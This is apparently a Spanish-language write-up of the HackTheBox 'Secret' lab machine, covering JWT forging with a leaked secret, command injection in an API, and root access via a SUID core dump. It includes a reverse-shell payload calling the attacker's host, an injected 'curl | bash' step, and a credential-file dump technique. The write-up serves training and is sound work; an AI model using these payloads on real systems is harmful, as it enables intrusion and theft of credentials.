> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md). # Guía de HackTheBox Secret Guía de la máquina HackTheBox Secret Fácil Linux que cubre análisis de código, abuso de una API, Json Web Tokens (JWT), abuso/aprovechamiento de Core Dump (escalada de privilegios), con enumeración práctica, explotacio {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Análisis de código * Abusar de una API * Tokens Web JSON (JWT) * Abusar/Aprovechar Core Dump (Escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.
**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.
**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts ```
**Análisis de puertos abiertos con extractPorts:** Use la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (80,22,3000)
Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted ```
Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:
> **Observación**: El mismo sitio web es accesible en los puertos 80 y 3000.
**Búsqueda de directorios:** Usamos Gobuster para buscar directorios en el sitio: ```bash gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```
## Registrar un usuario de la API En la sección "docs" encontramos instrucciones para registrar un usuario. Ejemplo para el usuario “jordan”:
```json curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{ "name": "jordan", "email": "jordan@htb.com", "password": "jordan" }' ; echo ```
## API de autenticación Para conectarse: ```json curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{ "email": "jordan@htb.com", "password": "jordan" }' ; echo ``` Esto nos devuelve un token de autenticación (`auth-token`). `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`
### Comprobando el cuerpo JSON predeterminado
`email: "root@dasith.works"` `password: "Kekc8swFgD6zU"`
### Comprobación de vulnerabilidad [Token Web JSON](/es/web-vulnerabilities/json-web-token-jwt-attack.md) Usa un sitio para decodificar el JWT y leer y manipular su contenido. > **Nota**: El token JWT debería ser inválido. Al modificar los campos "name" y "email" por los de un administrador: {% embed url="" %}
`"name": "theadmin",` `"email": "root@dasith.works",` `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`
### Intentando acceder a una API privada: Intentando conectarnos a una API privada usando el JWT modificado: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq ``` {% endcode %} Recibimos un mensaje de "token inválido".
Con nuestro propio JWT tenemos acceso como usuario normal: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq ``` {% endcode %} Recibimos un mensaje "Eres un usuario normal".
## Enumeración de rutas de la API con Wfuzz Usa Wfuzz para explorar las rutas disponibles: {% code fullWidth="true" %} ```bash wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ ``` {% endcode %} Nuevo descubrimiento: la `/api/logs` ruta.
## Análisis del código fuente La página web ofrece una opción para descargar el código fuente.
> **Hallazgos** : * Un `.env` archivo que contiene un `token_secret` con el valor "secret".
Un `.git` carpeta con un commit que indica la eliminación del archivo `.env`.
El antiguo archivo eliminado `token_secret` se encuentra: `gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`
Usa este antiguo `token_secret` para firmar un JWT con información de administrador y acceder a la API privada: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`
{% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %} > **Resultado**: Mensaje de bienvenida como administrador: "bienvenido de nuevo, admin".
Finalmente, al ejecutar la `/api/logs` ruta, se muestra el siguiente contenido: ```json "cmd": "git log --oneline undefined" ```
Al examinar la `privitate.js` archivo y analizar el código, vemos que:
## Vulnerabilidad RCE: {% hint style="info" %} Este código tiene un problema de seguridad debido a una inyección de comandos. Porque `archivo` proviene de los parámetros de consulta y se inserta directamente en el comando de la terminal, un usuario malicioso podría modificar `archivo` para ejecutar otros comandos. La función de esta ruta es ejecutar el `comando git log --oneline [file]` en el sistema, donde `[file]` es un archivo específico solicitado en el parámetro de consulta de la petición. {% endhint %} Aquí hay un ejemplo `curl` comando que intenta inyectar `id`: {% code overflow="wrap" %} ```bash curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq ``` {% endcode %}
#### Ejecutaremos una reverse shell: 1. Crea un `index.html` archivo en nuestra máquina y crear un servidor web con el siguiente contenido: ```html #!/bin/bash bash -i >& /dev/tcp/10.10.14.6/4444 0>&1 ``` 2. A continuación, escucha en el puerto 4444: ```bash nc -nlvp 4444 ``` Ejecuta una inyección con `curl` en nuestro servidor web: {% code overflow="wrap" %} ```bash curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq ``` {% endcode %}
### Bandera user.txt :)
**Manejo de terminal:**/ Una vez que tengas acceso al servidor Linux, aquí tienes los comandos para trabajar eficientemente en la terminal: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Estabiliza la shell para trabajar con más comodidad. ## Escalada de privilegios (SUID) Con el siguiente comando comprobamos si nuestro usuario **tiene privilegios SUID**: ```bash find / -perm -4000 2>/dev/null ``` Encontramos un archivo poco común ubicado en `/opt/count`, cuyo propietario es `root`.
Al ejecutar este binario, nos pide proporcionar un archivo; luego enumera el número total de caracteres, palabras y líneas. Este script leerá el contenido del archivo y luego mostrará sus propiedades.
### Binario de Core Dump Al examinar el código fuente, podemos observar que se genera un core dump, almacenando temporalmente el contenido en caso de error.
Los errores se guardan en el `/var/crash` directorio. Así es como se crea un core dump: 1. **Introduzca el nombre del archivo o directorio:** ```bash Introduzca el nombre del archivo/directorio de origen: /root/.ssh/id_rsa ``` *(clave SSH de root)* 2. **¿Guardar resultados en un archivo?** ```` ```css ¿Guardar resultados en un archivo? [y/N]: ^Z ``` ```` *(Poner en segundo plano)* 3. **Obtenga el PID:** ```` ```bash ps ``` _(Copiar el PID)_ ```` 4\. **Matar el proceso:** ```` ```bash kill -BUS 'PID' ``` ```` 5\. **Reinicia el binario:** ```` ```bash fg ``` ```` 6\. **Comprueba el directorio de core dumps:** ```` ```bash ls -l /var/crash ``` ```` *(Aparece un nuevo archivo: `_opt_count.1000.crash`)*
Ahora tenemos un core dump en base64 que contiene la clave SSH de root.
### Apport-umpack Para extraer la información, usaremos `apport-unpack`: ```bash apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh ``` A continuación, listaremos el contenido del archivo en `/tmp/ssh/coredump` usando `strings`:
Encontramos la clave SSH de root
### Conexión SSH Una vez que hayamos creado el `id_rsa` archivo con permisos 600, podemos conectarnos vía SSH: ```bash ssh root@10.10.11.120 -i id_rsa ```
### Bandera root :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.